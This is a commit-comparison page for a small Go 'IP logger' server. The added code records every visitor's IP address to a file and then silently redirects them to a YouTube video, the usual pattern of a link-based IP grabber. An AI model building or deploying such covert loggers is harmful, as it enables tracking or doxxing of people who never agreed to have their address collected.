Compare commits

...

2 Commits

Author SHA1 Message Date
Calamitas d5ce87d43c Added redirect options 2022-07-14 18:46:02 -05:00
Calamitas 19a63f7715 added logging 2022-07-13 21:50:20 -05:00
2 changed files with 15 additions and 2 deletions

View File

@ -0,0 +1 @@
IP logger made in GO

View File

@ -1,14 +1,15 @@
package main
import (
"fmt"
"log"
"net/http"
"os"
)
func handler(w http.ResponseWriter, r *http.Request) {
ip := GetRealIP(r)
fmt.Fprintf(w, ip)
WritetoFile(ip + "\n")
http.Redirect(w, r, "https://www.youtube.com/watch?v=ZVQDHFgfssM", 301)
}
func GetRealIP(r *http.Request) string {
@ -24,6 +25,17 @@ func GetRealIP(r *http.Request) string {
}
return IP
}
func WritetoFile(IP string) {
f, err := os.OpenFile("ListofIPs.txt",
os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
if err != nil {
log.Println(err)
}
defer f.Close()
if _, err := f.WriteString(IP + "\n"); err != nil {
log.Println(err)
}
}
func main() {
http.HandleFunc("/", handler)
log.Fatal(http.ListenAndServe(":8081", nil))